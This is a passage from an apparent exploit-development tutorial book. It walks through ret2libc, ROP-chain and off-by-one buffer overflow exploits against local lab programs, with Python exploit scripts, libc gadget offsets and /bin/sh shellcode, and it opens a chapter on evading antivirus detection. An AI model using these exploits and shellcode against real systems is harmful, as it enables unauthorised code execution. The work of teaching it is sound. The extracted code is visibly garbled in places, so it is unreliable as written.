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Figure 2.16: Exploit works in the environment of GDB

After running the exploit creates a shell for us it starts ”/bin/dash” which is
the ”/bin/sh”. The important question here is, can this exploit run outside
of GDB?. To answer the question I’ll run this exploit outside of GDB to
show that this exploit can work outside because the ASLR is disabled.

Figure 2.17: Exploit works outside of gdb

In Figure 2.17 we see, the exploit works outside of the GDB environment
and give us a shell.
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2.13 Final thoughts

This chapter was maybe easier for you because many steps were very
similar to the first chapter. In fact, some details were not easy to
understand, but don’t worry, that will be explained in detail in the
following chapters. The goal here was to show the practice and to bring the
knowledge to you a bit closer.

If this all was easy for you to understand, congratulation! Then you are on
the right way or you have it already learned. If not, then I recommend that
you should read the first and this chapter again and try it put in practice
and you will understand.

What did we learn in this chapter? We have learned a variant of a classic
buffer overflow exploit by using only addresses of the ”libc”. We learned to
defeat a non-executable stack and successfully bypass DEP/NX.

Buffer overflow exploitation is a very common attack vector, which allows
us to execute some miscellaneous commands or programs. But during the
time NX, DEP and ASLR were introduced to prevent this exploitation. But
in this chapter, we see how easy it is to bypass NX and DEP to still execute
miscellaneous commands or programs. Can ret2libc execute some other
programs than ”/bin/sh”? In short, yes it can the only thing is to find other
commands or programs which can be executed by the function ”system”.
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Chapter 3

ROP-Chain

3.1 Introduction

This chapter will describe how the process of ROP-Chain-exploit develop-
ment works. I want to reach the beginner who decided to learn how exploit-
development works. This chapter separates the whole process into small
subchapters. Before we start with the first subchapter we have to find out
some specific words which I use in this whole chapter.

3.2 Prerequisites

To understand how a ROP-Chain works a bit of ret2libc exploitation is re-
quired.

3.3 What is an ROP-exploit?

In the past chapter I explained how a non-executable stack can be defeated,
that’s what ”ret2libc” does. I’ll explain ”ret2libc”, in a nutshell, to introduce
ROP properly. A ”ret2libc” is an exploitation technique to bypass the NX
and DEP. To bypass the NX and DEP the ”ret2libc” uses how the name says,
the ”glibc” or other ”c-libs” to execute code. The start is like a normal buffer
overflow but instead injecting shellcode into the buffer, ”ret2libc” jumps
into the ”libc” to a function like ”system” to execute some os commands or
give us a shell. You now know ”ret2libc” uses parts from the ”libc” which
can be executed. What is now ROP? ROP stands for ”Return Oriented
Programming” which is very similar to ”ret2libc” but instead spawning a
simple shell, the ROP can be used for arbitrary code execution.
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With ROP it is possible to drop a Bind-Shell, Reverse-Shell or call some
internal functions like ”ret2libc” and other stuff. To work with this technique,
I have to explain some keywords.

3.4 What is a gadget?

A Gadget is a piece of assembly instruction that ends with a ”ret”. Gadgets
can be found in any programs or libraries and can be used. Most of these
gadgets do a single operation and others do two operations and more. A
Gadget looks like this piece of assembly code:

add eax , 0xb ; r e t

This line does the following, first it adds to the register EAX the value 11,
and second, it makes a return. A ROP-Exploit is nothing else as a chain of
these gadgets to execute malicious code.

3.5 How a ROP-Chain is build?

A ROP-Chain is build with a lot of gadgets which are chained together. You
can imagine this like a linked-list, where each node is connected with a other
node. Each gadget do some stuff and return into the next gadget, and this
is called ROP-Chain.

Figure 3.1: ROP-Chain simplified illustation

In Figure 3.1 we see, the start point called ”Start” on the top left, this can
be replaced with an offset to the instruction pointer. The instruction pointer
is pointing to the first gadget. And the gadget does something and returns
into the next gadget, and so on.
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You see, we build our shellcode with parts of the vulnerable program or the
”libc”. That’s the magic behind ROP which is very powerful and pretty easy.
It is so powerful that nearly every programbehavior can be created.

3.6 How gadgets can be found?

There many ways to find some gadgets. The first way is to find these gadgets
manually with a disassembler, but it takes a very long time. I prefer to use
some tools like ”Ropper” or ”ROPgadget”. In this chapter, I’ll use ”Ropper”
to find my gadgets. I will try to use gadgets of the ”libc” only, to change
only the base address to fix any errors on other machines. An example search
with ”Ropper” looks like the figure below.

Figure 3.2: Example search of gadgets in the libc with ”Ropper”

We see, ”Ropper” gives us many results, that overwhelmed us. The only
thing to do is to find your desired gadget.

3.7 Definition of the development environ-

ment

Our target machine will be a Debian 10 Buster with a 32bit compiled pro-
gram. This program has NX/DEP enabled but the ASLR is disabled. As our
compiler, we use GCC for compiling the vulnerable program. To debug the
application and determine all important addresses of the functions in ”libc”
we use GDB. For better exploit development we use python that makes the
development of this exploit easier.
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3.8 The vulnerable program

The vulnerable application will be a simple application that prints out, what
we have entered as argument.

#inc lude <s t d i o . h>
#inc lude <s t r i n g . h>

void foo ( char * buf ) {
char b u f f e r [ 6 4 ] ;
s t r cpy ( bu f f e r , buf ) ;

}

i n t main ( i n t argc , char ** argv ) {
f oo ( argv [ 1 ] ) ;
p r i n t f (”%s ” , argv [ 1 ] ) ;

}

Note: This is the same vulnerable program from the previous chapter.
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3.9 Identify the Vulnerability

First of all, it’s the same vulnerable program from the previous chapter, but
I’ll add this chapter for completition to this chapter. In this program we
see in the ”main”-function is that we pass all data from ”argv[1]” into the
function ”foo”. After passing the data the function foo gets called and creates
in the function body an array with 64 characters. In the next line, we see
that the data will be written into this array without checking the bounds.
This program gets a segmentation fault if the data is bigger than 64 bytes.
This program has a buffer overflow vulnerability which is a very common
security flaw.

Figure 3.3: Testing for buffer overflow

In Figure 3.3 on the first line, we see that the program gets executed success-
fully without any errors. In the second line is a buffer overflow happens and
the program gets a segmentation fault because some memory data gots over-
written like registers, ”EBP”, ”EIP” etc...Now is the point where we have to
figure out where the exact point is to overwrite the instruction pointer.

This will not repeated in this chapter. See chapter ”Ret2Libc” at
subchapter 2.9...
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3.10 Prepare the exploit

Before the exploit can be written, there is much information we need. First,
what should the exploit do? Are all gadgets present for this purpose? If
these questions answered, the development of the ROP- Chain-Exploit can
start. The most important step to start searching und using gadgets is to find
out the base address of ”libc”. This can be made with gdb when we crash
the vulnerable application. If the application is crashed, we can run a shell
over gdb and list all processes which can be identified with the vulnerable
application.

Figure 3.4: Determine the base address of libc in this program

To get the right process, I prefer the process names with a full path, mostly
they have a valid memory map. The next step to get the full memory map is
to read out the maps file of the process like the output in Figure 3.4. Here we
can see, on the left side there set start and ending addresses of each memory
segment. On the right side we see, the process or the filename which owns a
section. The base address of ”libc” is ”0xf7de7000”, bordered in red. Each
program, file or library has its base address, which is the first line of each
name on the right side. With this base address, we can calculate the exact
address of each gadget at runtime.
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The next step is to answer the question of what the exploit should do. Our
exploit in this chapter will spawn a simple shell via ”execve”.

#inc lude <uni s td . h>
i n t execve ( const char * f i l ename , char * const argv [ ] ,
char * const envp [ ] ) ;
/*
EBX = const char * f i l ename
ECX = char * const argv [ ]
EDX = char * const envp [ ]
*/

In the function definition above, is the function ”execve”, which can execute
some stuff. To execute stuff, the function needs all three parameters filled.
The first parameter takes the filename which can be a command or just an
executable. The second parameter is the whole command starting with the
filename followed by arguments. The third parameter takes the environment
variables. To execute a command without any arguments, it’s possible to set
parameters two and three to NULL.

execve (
”/ bin / sh ” , // F i l e
NULL, //Arguments
NULL // Environment

) ;
/*

in r e g i s t e r form ;
EAX = 11 // execve s y s c a l l
EBX = ”/ bin /sh”
ECX = NULL
EDX = NUL
*/
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After the definition of the goal, what this exploit should do, we can now
collect all gagdets for that. The first gadget should clear the register EAX
that we can set it later to ”0xb = 11”.

Figure 3.5: Found the first gadget which clears the register EAX

This address in Figure 3.5 which is bordered in red can be added with the
base address of ”libc” to get the right address at the runtime. We can now
put this address in our exploit template.

Figure 3.6: Template with the base address of ”libc” and with the first gadget

The exploit looks very poor that’s because there many gadgets not included,
there only the offset of 76 bytes, the base address of ”libc” and the calculated
address of the first gadget. To change the register EAX to the desired syscall
number, we have to find a gadget which increases the register by 11 or set it
to this value. Also here is the same way to determine the gadget.
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Figure 3.7: The second gadget found which changes the register EAX to 11

This gadget can now be added to the other gadgets in our exploit (Figure
3.7 circled in red). At this point, we’ve got the first part of the syscall to
the function ”execve” completed. The second thing that we do is to find a
gadget, which allows us to change the register EBX to the string ”/bin/sh”
to spawn later a shell. In a ”ROP”-Exploit we can push stuff on the stack
by direct writes into the buffer. To take staff from the stack we can use a
”POP”- Operation which can be used to move the value of the stack pointer
to the register EBX.

Figure 3.8: The third gadget found which pops the pushed value to EBX

In Figure 3.8 we see, the address which points to the gadget ”pop, ebx; ret;”
circled in red. This gadget allows us later to manipulate the register EBX.
This gadget fulfills the second step for the syscall to the function ”execve”.
The last two steps can be made with one gadget or two, if we have luck, we
find a gadget which clears the register ECX and EDX. If not we’ve to search
for a gadget that clears ECX and a gadget that clears the register EDX.
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Figure 3.9: No gadgets found for this purpose

The search for a gadget, which can clear the register ECX and EDX can’t
be found by ”Ropper”. The next possibility that can be made, is to search
for gadgets, which clear the register ECX and a gadget that clears EDX. So
we can let search ”Ropper” for these gadgets.

Figure 3.10: The results of searching for gadgets that clear the register ECX

In Figure 3.10 we see, ”Ropper” gives many results back which can clear the
register ECX, but all of these gadgets, does more stuff than needed, which
will make the development more complex.
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If we search for gadgets that can clear the register EDX, we get the same
results as before with ECX.

Figure 3.11: Same results like before

Because we don’t find any gadgets which can fit our requirements, we don’t
give up. Those situations can happen sometimes, it depends in most cases
on the binary itself or it’s used libraries. Those situations are not the end of
the world, because we have many alternatives to ”create” our desired gadget.
The idea behind finding one of the gadgets was to set one of both register to
zero and then copy the register value to the other one.

Let V = {−2311, ..., 231 − 1} the set of all 32Bit Integers and

let ECX = v1 ∈ V and EDX = v2 ∈ V :

ECX ⊕ ECX → ECX = 0

EDX = ECX → EDX = 0

ECX ⇔ EDX ⇔ 0

or :

EDX ⊕ EDX → EDX = 0

ECX = EDX → ECX = 0

EDX ⇔ ECX ⇔ 0
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What is an alternative to these gadgets? An alternative to that is to use
the ”POP”-Operation to clear both registers. Here we push an address that
points to NULL two times to the stack. Then we only have to pop out these
addresses to register ECX and EDX. Viola, we have cleared both registers.
Another option is to find gadgets that set both registers to some values and
then use gadgets that can increase or decrease the values until we reached
zero because of exceeding the maximal register values. Also, this option is
possible if we search for gadgets that set both registers to a value, then use
gadgets which multiplies it with zero to clear both registers.

Figure 3.12: Useful gadget found that can clear both registers

In Figure 3.12, we see a gadget circled in red, which can clear both registers
with a ”POP”-Operation. This allows us to push zeros to the stack and move
these zeros to both registers. The result is that register ECX and EDX are
equal to zero. To complete the syscall to the function ”execve” we look to
the collected gadgets. We have the gadget to clear the register EAX, and set
it with another gadget to 11. Also, we have the gadget to set the register
EBX to an arbitrary string like ”/bin/sh”. The last thing which is needed is
the interrupt call 0x80 or simply syscall.

Figure 3.13: Syscall-gadget found

With this gadget shown in Figure 3.13, we can now build the exploit. During
the build of the exploit, we have to search for parameters that will be used
for the ”POP”-Operations.
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3.11 Write the Exploit

During the search of all gadgets which can be used to make a proper syscall
to the function ”execve”, we have written all of these gadgets in our exploit
as packed little-endian addresses. The exploit with all important gadgets
embedded:

#!/ usr / bin /env python
# =*= coding : ut f=8 =*=

import s t r u c t

l i b c b a s e a d d r = s t r u c t . pack ( ’< I ’ , 0 xf7de7000 )

xor eax eax = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0 x0002 f e1 f )
add eax 11 = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0x0015b0c6 )
pop ebx = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0x0001a8b5 )
pop ecx edx = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0 x0002ee7b )
s y s c a l l = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0 x0002f275 )

buf = ’A’ * 76
p r i n t ( buf )

All of these addresses are aligned to the ”libc” base address to hit the correct
address of each gadget during the runtime. The next step is to find the string
”/bin/sh” in ”libc”. To find this address we need to search with ”Ropper”
this string.

Figure 3.14: Address of /bin/sh determined with ”Ropper”
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With ”Ropper”, we found the relative address of the string ”/bin/sh”. This
address can be put in our exploit also as a packed little-endian address. Now
the address can be written into the exploit code. All addresses with the
padding let look the exploit like below.

Figure 3.15: Alle important components embedded

To place all the gadgets together, we must know how all gadgets get to be
chained. We can chain it how we do it in a basic shellcode or reverse order.
Also, an option to chain the gadgets is by mixing these gadgets. For example,
first, the address of ”/bin/sh” will be popped first into the register EBX, then
the register EAX gets cleared followed by clearing EDX and ECX. The last
thing is to set EAX to 11 and jump to the gadget which triggers the syscall-
interrupt. I prefer to use the normal order like in a basic shellcode because
it is easier to understand and most of the shellcode is written in this order.
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Figure 3.16: Exact blueprint of the final rop-exploit

Here in Figure 3.16, we see the blueprint of the ROP-Chain. Here is the
order like a normal shellcode. First of all, is the offset which writes 76 A’s
into the buffer. The next 4 bytes the address of the first gadget, which zeroes
out the register EAX. After clearing EAX the next gadget set the value of
this register to 11. As the next step the address of ”/bin/sh” will be popped
into the register EBX. After that both register ECX and EDX will be cleared
and the interrupt will be triggered by the last gadget.
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The implemented exploit should look like the following:

#!/ usr / bin /env python
# =*= coding : ut f=8 =*=

import s t r u c t

l i b c b a s e a d d r = s t r u c t . pack ( ’< I ’ , 0 xf7de7000 )

xor eax eax = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0 x0002 f e1 f )
add eax 11 = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0x0015b0c6 )
pop ebx = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0x0001a8b5 )
pop ecx edx = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0 x0002ee7b )
s y s c a l l = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0 x0002f275 )
binsh = s t r u c t . pack ( ’< I ’ , l i b c b a s e a d d r + 0 x0017eaaa )

buf = ’A’ * 76
buf += xor eax eax
buf += add eax 11
buf += pop ebx
buf += binsh
buf += pop ecx edx
buf += s t r u c t . pack ( ’< I ’ , 0)
buf += s t r u c t . pack ( ’< I ’ , 0)
buf += s y s c a l l
p r i n t ( buf )

The important question is, what happens when the ROP-Chain runs? Well,
when it runs, it will start at the first gadget ”xor eax, eax; ret”. This will
call the next gadget by invoking the instruction ”ret”. You can imagine it
like function chaining in mathematics.

Let f, f(x) : D −→ Y ,where Y is the target defined set and

Let g, g(x) : D −→ Y

x ∈ Y and apply the function chaining f ◦ g :

f ◦ g ⇔ f(g(x))

This equation shows how the ROP-Chain works the functions are chained
together, g(x) will be first called and returns the result to f(x), and so on.
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The only difference between them is, the Gadgets don’t return a value. For
every gadget, the return address is the next gadget that is also the return
address of the current gadget. This will result to a ”ZigZag” pattern on the
stack.

Figure 3.17: Building of a ”ZigZag” pattern on calling the next gadget

Now, the exploit is finished and the chain is implemented. But do the exploit
work? One way to find it out just tests it.
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3.12 Testing the exploit

The next thing that is to do, is testing the exploit. Just run the exploit
and see what happens. But, one mistake we made at the beginning, we
packed the base address of ”libc” with struct. But if we add this to all other
addresses for the gadgets we get an error ”TypeError: cannot concatenate
’str’ and ’int’ objects”. Why I made this mistake over the whole subchapter?
I made this mistake because it’s a common mistake at the beginning of this
developement. The solution at this point is to not pack the libc base address.

””” remove the s t r u c t . pack ( ) from the address
and i t w i l l be f i n e ”””

l i b c b a s e a d d r = 0 xf7de7000

Now we can retry to execute the exploit and look if its working how expected.

Figure 3.18: Exploit failed because of string termination

In Figure 3.18, we see, the exploit doesn’t work. We got a hint of why this
exploit has failed. We have null bytes in our string because the exploit creates
a string that contains the offset of A’s and the chain. Now we have to correct
this error. What we can do to correct this error? We can add 0xFFFFFFFF
to the register ECX and EDX and increase it to get an overflow which results
that both registers are zero or we search for a null in the vulnerable program
or ”libc”. The easiest way is to find null in the program. To find null’s in
the vulnerable program, we can use GDB to debug this application and let
it crash. Then we can search with the ”find”- command for null bytes.
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Figure 3.19: Search for null’s with GDB in the vulnerable program

GDB gives us many addresses that point all to ”0x00” what you can see in
Figure 3.19. We can simply pick one of these addresses and place it in our
exploit, to avoid null bytes in our string.

Figure 3.20: Null is replaced by a address which points to null

With this fix, we have a null byte free exploit. Now we can test it. Please
make sure that ASLR is disabled. Otherwise, you can use ”Ropper” to search
for ”0x00” in ”libc” and calculate an address based on ”libc”. On running the
exploit again we will be surprised by a segmentation fault. The exploit has
failed again, but why? We have replaced all null bytes with a representational
address. We have all the required gadgets. Why did it fail? To find this out,
we have to debug this exploit to find out why it fails.
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In GDB we set a breakpoint in the function ”foo” to jump after execution in
our ROP-Chain. We have just to follow the chain until we find the error.

Figure 3.21: The gadget which add 11 to EAX is not working

In Figure 3.21 the chain is broken at the point where the register EAX should
be set to 11. The must be an error by calculating the correct address of this
gadget. A solution for this problem is to brute-force the address until we
find the correct address or we search for an alternative gadget. The quicker
way is to find an alternate gadget.
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Figure 3.22: Search for an alternative with ”Ropper”

With the tool ”Ropper” we get an alternative to the broken gadget which is
circled in red in Figure 3.22. This gadget adds 11 to the register EAX but it
pops stuff from the stack into the register EDI. What we can do is to push
another null to the stack to set this register also to null.

Figure 3.23: Fixed the broken gadget and add another null to the chain

The gadget which sets the value of the register EAX is now replaced with
an alternate address. To set the register EDI to a null there is a new packed
address added to the chain. The whole correction should fix all errors and
the exploit should work now properly.
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Figure 3.24: Exploit works in GDB

In Figure 3.24 we see, the exploit works now properly in the environment of
GDB. The result is we got a shell and can now enter some commands. But
work this exploit outside of GDB? Short answer, yes it does.

Figure 3.25: Exploit also works outside of GDB

We see also here in Figure 3.25, the exploit works outside of GDB, which is
great.
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3.13 Final thoughts

This chapter was maybe the same to the chapter ”Ret2Libc” for you
because many steps were very similar. Some details which i don’t showed in
the second chapter like getting the base address of ”libc” i have covered
here. Don’t worry if you also haven’t understand all you can just re-read
the chapter.

If this all was easy for you to understand, congratulation! Then you are on
the right way or you have it already learned. If not, then I recommend that
you should read chapter ”Buffer overflow”, ”Ret2Libc” and this chapter
again and try it put in practice and you will understand.

What did we learn in this chapter? We have learned a advanced variant of
a classic ret2libc exploit by using gadgets of ”libc” and the vulnerable
application itself. We learned to defeat a non-executable stack and
successfully bypass DEP/NX. We also learned how to build an ROP-Chain
which can reproduce the behavior of an shellcode.

Buffer overflow exploitation is a very common attack vector, which allows
us to execute some miscellaneous commands or programs. But during the
time NX, DEP and ASLR were introduced to prevent this exploitation. In
this chapter, we see how easy it is, to build an ”execve” call and still bypass
NX and DEP to execute miscellaneous commands or programs. An
important question is, can ROP bypass also ASLR? Yes, it can but the
vulnerable program has to be leak some information like ”libc”’s base
address or some address of the PLT’s in ”libc”. All of that has to be
relative addresses to bypass ASLR. The fact is that ROP still defeats those
preventions, not all but most of them.
Another fact about ROP is, this technique is also Turing-complete. Why
Turing-complete? Every program-behavior can be created with this.
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Chapter 4

Off-by-One

4.1 Introduction

This chapter will describe a bit older technique to control the instruction
pointer EIP. I want to reach the beginner which decided to learn how exploit
development works. This chapter separates the whole process into small sub-
chapters. Before we start with the first subchapter we have to find out some
specific words which I use on this whole chapter.

4.2 Prerequisites

To understand how a Buffer Overflow works is required.

4.3 What is Off-by-One?

Off-by-One has many names likely ”1-Byte Buffer overflow” or ”Obi-Wan
error”. This happens when a buffer with a fixed-length gots exceeded by
misplaces index. Sometimes many developers forgot to check their conditions
correctly and go one iteration too much. Imagine you have a buffer with a
size of n bytes. And you want to do some stuff with a loop for example copy
all items into a new buffer. All works well, but you have made one mistake,
the condition of your loop. Instead of looping through index n-1 you looped
until n. This causes an error and overwrites some other memory. Off-by-One
can also be a vulnerability because an attacker cloud put some malicious
input and can change the execution flow of the program. This vulnerability
can be stack-based or also be based on the heap.
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4.4 What happens on Off-by-One?

Instead of overwriting the instruction pointer, we overwrite one byte of the
next memory area location where the saved frame pointer is stored. This is
very similar to the classic ”return to shellcode” buffer overflow.

Figure 4.1: Memory on Off-by-One

In Figure 4.1, we see, on the left side, the normal buffer without any issues.
On the right side, we have an Off-by-One because the saved frame pointer
was overwritten by a null byte on the least significant byte (LSB). Well, what
is the impact? The impact here is that the EBP now points into the buffer
somewhere. When the function is executed and leaves, the stack pointer
(ESP) will be moved to the address where the EBP is pointing to. The value
at the address where the ESP is pointing to will be popped into the EBP.
At the point where the instruction ”ret” is invoked, the value from the EBP
will be set as the value for the instruction pointer (EIP).

1)EBP = address ∈ Bufferaddresses

2)ESP = EBP

3)ESP →′ ...AAAA...′

4)EBP = ESP → EBP = 0x41414141

5)EIP = EBP → Control over EIP

This can happen when the program validates the maximal length of the
input. In these situations, an Off-by-One vulnerability can be useful.
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4.5 Definition of the development environ-

ment

Our target machine will be a Ubuntu 12.04 32bit with a bit special compiled
program. This program has NX/DEP disabled and ASLR is disabled. As
our compiler, we use GCC for compiling the vulnerable program. To debug
the application, we use GDB. For better exploit development, we use python
that makes the development of this exploit easier.

Ubuntu 12.04 will be used to use an older version of GNU GCC to
reproduce a working example because of a fully working stack boundary

that gots changed over many versions. The GCC version, which is
preferred: GCC 3.3.

4.6 The vulnerable program

The vulnerable application will be a simple application that prints out, what
we have entered as argument. But we can not write more than 1024 bytes.

#inc lude <s t d i o . h>
#inc lude <s t r i n g . h>
void func ( char * s t r )
{

char buf [ 1 0 2 4 ] ;
s t r cpy ( buf , s t r ) ;
p r i n t f (”%s\n” , buf ) ;

}

i n t main ( i n t argc , char ** argv )
{

i f ( s t r l e n ( argv [ 1 ] ) > 1024)
{

p r i n t f (”BOF Attempt\n ” ) ;
r e turn =1;

}

func ( argv [ 1 ] ) ;
}
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4.7 Identify the vulnerability

When the program gets executed, in function ”main” the length of the first
argument will be checked. If the length is bigger than 1024 bytes the program
outputs with ”BOF Attempt” and quits. If everything is fine the program
calls the function ”func” with the first argument as the function parameter.
In the function ”func” a buffer with a fixed length of 1024 bytes will be
created. Then all bytes of the argument will be copied into the new buffer.
Finally, it prints out the new buffer.

Figure 4.2: First testings for buffer overflows

We can see (Figure 4.2 ) that the first execution was successful, we entered
”test” as a program argument, and it prints the argument. The validation
works also well, and we can’t crash the program. But where is now exactly
the vulnerability? The vulnerability lies in the function ”strcpy” this function
is basicly looping through the source buffer and places every byte in same
position to the destination buffer. At the end a null byte will be appended
to terminate the string. And this is the point where we have found the
Off-by-One vulnerability.

/*
* Example implementation o f the s t r cpy func t i on
* Note : The o r i g i n a l one i s a b i t more complex

*/
char * s t r cpy ( char * dst , char * s r c )
{

i f ( s r c == NULL | | dst == NULL)
return dst ;

whi l e ( (* dst++ = * s r c ++)){;}
*dst++ = ’\0 ’ ;
r e turn dst ;

}
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What happens if the input has exactly 1024 bytes? Well, the function
”strcpy” will copy all bytes into the buffer and with the appending a null
byte, the saved frame pointer (EBP) will be overwritten with it.

Figure 4.3: Segmentation fault on 1024 bytes

At this point we have to take a look with GDB. The reproduce of the segemen-
tiation fault shows that the have successfully compromised the instruction
pointer (EIP) with 0x41414141 which is our input.

Figure 4.4: Segmentation fault in GDB, EIP = 0x41414141
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At this point we have to figure out on which position in the buffer the EBP
is pointing. This can also be made with GDB.

0 x080483f4 <+0>: push ebp
0 x080483f5 <+1>: mov ebp , esp
0 x080483f7 <+3>: sub esp , 0 x408
0 x080483fd <+9>: mov eax ,DWORD PTR [ ebp+0x8 ]
0x08048400 <+12>: mov DWORD PTR [ esp+0x4 ] , eax
0x08048404 <+16>: l e a eax , [ ebp=0x400 ]
0x0804840a <+22>: mov DWORD PTR [ esp ] , eax
0x0804840d <+25>: c a l l 0x8048310 <strcpy@plt>
0x08048412 <+30>: l e a eax , [ ebp=0x400 ]
0x08048418 <+36>: mov DWORD PTR [ esp+0x4 ] , eax
0 x0804841c <+40>: mov DWORD PTR [ esp ] , 0 x8048554
0x08048423 <+47>: c a l l 0x8048300 <pr int f@p l t>
0x08048428 <+52>: l e ave
0x08048429 <+53>: r e t

The disassembly of the function ”func” has two interesting points that should
be viewed. The two points we’re interested in are ”0x08048428” and ”0x08048429”.
A good choice is to set a breakpoint at address 0x08048428. Here we should
see the register values especially the register value of EBP.
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Figure 4.5: Corrupted EBP value

Figure 4.5 shows the register values when we reached the breakpoint. We
clearly see the register value of EBP is overwritten by a null byte on the next
instruction. This sets the original address ”0xbffff2a8” to ”0xbffff200” which
is a location inside the buffer. Now looking for the register value if we go one
single step.

Figure 4.6: EBP points into the buffer instead to the old location

Here we see the new register value for EBP. EBP points now into the buffer.
If we continue, the application will crash because the EIP points to the
instructions at 0x41414141 which is invalid.
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Hence we look to the stack location where the EBP is pointing to, we will
see a whole bunch of 0x41.

Figure 4.7: Dump of the stack where EBP is pointing to

At this point we can try to find the location where the buffer is starting from.
With the command:

x/1000x $ebp=1000

we can find the location where the buffer is beginning.

Figure 4.8: Dump of the stack where the buffer begins

We see in Figure 4.8 the Buffer begins at the address ”0xbfffeea8”. We also
know where exactly the EBP points to. With these two pieces of information,
we can calculate the offset to the EBP register value.

offset = 0xbffff200hex − 0xbfffeea8hex = 0x358hex ⇔ 856dec

retaddr = 1024− offset = 1024− 856 = 168

The exact offset is 856 bytes and the rest of the buffer can be used for the
return address which will point to our desired location. Our desired location
can be another function, a PLT, or a buffer location where we injected our
shellcode.
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4.8 Write the exploit

We identified the vulnerability and we could calculate the offset to the EBP.
Now we can start to write the exploit for this vulnerability. Simply we can
start with a template which includes the offset and the return address.

#!/ usr / bin /env python
# =*= coding : ut f=8 =*=

junk = ’A’ * 856
r e t = ’B’ * 168

buf = junk + r e t
p r i n t ( buf )

As our shellcode we can write a simple ”/bin/sh”-shellcode. This shellcode
looks like the code below:

; She l l c ode which spawns a / bin / sh s h e l l (25 bytes )
s e c t i o n . t ex t
g l o b a l s t a r t
s t a r t :

xor eax , eax
push eax

push 0 x68732f6e
push 0 x69622 f2 f
mov ebx , esp

push eax
push ebx

mov ecx , esp
xor edx , edx
mov al , 11
i n t 0x80

This results to this extracted hex string:

\x31\xc0\x50\x68\x6e\ x2f \x73\x68\x68\ x2f \ x2f
\x62\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
\x0b\xcd\x80
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The shellcode can be embedded into out exploit code. At this point we can
test the exploit in GDB to verify that the offset is correct.

Figure 4.9: Verify the offset (cutted)

In Figure 4.9 we see, the offset is correct because EIP points now to 0x42424242
which is the placeholder of our return address. For now, we can think about.
how the exploit could be built. A good scheme will be, the exploit starts
with a Nopsled. After this is the shellcode placed. After the shellcode, we
place our return address. This one points somewhere into our Nopsled. The
fine trick of the return address is, the address is used to fill the rest of the
buffer. This means we spray the return address over the rest of the buffer.
This is useful if the location changes a bit because it guarantees the return
address will be loaded.
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Figure 4.10: The scheme of the exploit

This scheme Figure 4.10 is not very hard to understand, it shows the spraying
over the rest of the buffer which results, nearly every address points now to
our Nopsled. Spraying addresses across memory is a well-known technique of
heap exploitation, which is known as ”Heap-spraying”. The implementation
is very similar to the scheme.

Figure 4.11: Implemented exploit based of the scheme

We see some changes in the exploit template before (Figure 4.11 ). We
changed the multiplier from 168 to 42. This multiplier ensures the return
address (4 bytes) is placed 42 times after the shellcode, which results in 168
bytes length of the spray. The first line is our embedded shellcode that will
spawn us a shell later. The variable ”junk” is now renamed to ”nops” which
generates our Nopsled. The length of the Nopsled is now calculated by sub-
tracting the length of the shellcode from the total offset to the EBP. Last
but not least, the shellcode is now embedded into the buffer which will be
printed out as input for the application.
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Now it’s time to search for a good return address from our buffer. This step
is very similar to the classic ”return to shellcode” buffer overflow. Note that
our return address should fulfill the following requirement, it should be an
address which points more into the middle of the Nopsled, because it makes
the exploit more reliable. The reliability consists here that the exploit has
to work outside of GDB.

Figure 4.12: Found a potentialy good return address

In GDB we found a good-looking return address that can be utilized. We
see in the dump this chosen address is not directly at the beginning of the
buffer.
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We replace the placeholder with the utilized return address. Consider that
the return address should be entered in the little-endian format.

Figure 4.13: Implemented return address in our exploit

Now that the address is now implemented, what we can see in Figure 4.13,
we can now make a test. We run this exploit now in GDB to look if it works
well.

Figure 4.14: The exploit has failed
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We got a segmentation fault, but why? The reason that the exploit fails lies
in our shellcode. Our shellcode is misplaced while some parts got overwritten
during the runtime, which we can see in Figure 4.14. We have to rearrange
the location of our shellcode. This can be done by breaking the Nopsled into
two parts. The first one is subtracted by 200 bytes, which is now the length
of the second Nopsled after the shellcode.

Figure 4.15: New arranged shellcode placement

In Figure 4.15, we see, the Nopsled is split into two parts. The first one is
decreased by 200 bytes, the second is now increased by 200 bytes. Now we
can run the exploit again an we should now get a shell.

Figure 4.16: The exploit works and we got a shell

We the our exploit works, and a shell was created by our exploit.
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The interesting question here is can this work outside of GDB?. THe only
thing we can to is to test it.

Figure 4.17: Segmentation fault on running the exploit without GDB

A segmentation fault again? What could be wrong? Where we have a mis-
take? Well, the reason why it fails is we have a different stack layout and
this causes the crash. Why we have a different stack layout? It consists of a
shift between the stack in GDB and in the normal environment.

Figure 4.18: Segmentation fault on running the exploit without GDB (2)

The problem is that our EBP is pointing to our return address in GDB,
but outside it points to our second Nopsled. So what is the solution to this
problem? The result is to subtract from the first Nopsled 64 bytes and add
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them to the multiplier for our return address. The multiplier will be increased
by 16 which is 64 bytes divided by 4.
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In Figure 4.19 we applied the fix.

Figure 4.19: Fix the exploit

Now, we can run the exploit again and we got a shell. This fix gives our
exploit more reliability.

Figure 4.20: Exploit works now outside of GDB

86



4.9 Final thoughts

This chapter was maybe hard to understand where exactly the difference
between a classic ”return to shellcode” buffer overflow and Off-by-One is.
This is a useful technique when your input is restricted in length.

If this all was easy for you to understand, congratulation! Then you are on
the right way or you have already learned. If not, then you can read the first
and this chapter again and try it put in practice and you will understand.

What we have learned in this chapter? We have learned, what an
Off-by-One is and how we can exploit it. We also learned that is a very
frequent mistake which developer can do. We also learned that overwritting
the saved frame pointer (EBP) can also change the execurion flow.

Off-by-One Buffer overflows are a very common vulnerability type that can
be found in nearly any program, either stack based heap based. Today,
many programs are compiled with a newer GCC, which decrease an
ocurrence of this attack type on the stack, with DEP/NX, ASLR and
changed stack alignments. But for the first, it’s very essential to
understand how that works.
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Chapter 5

Shellcode Alchemy

5.1 Introduction

This Chapter will describe many shellcoding techniques and the forgotten art
behind shellcoding. The techniques and shellcoding itself will be described
in detail. Here I want to describe why it is important to test a shellcode
inside of a C-Application, how a shellcode can be encoded to avoid detection
by AV’s and what polymorphic shellcodes are. Also, I want to describe how
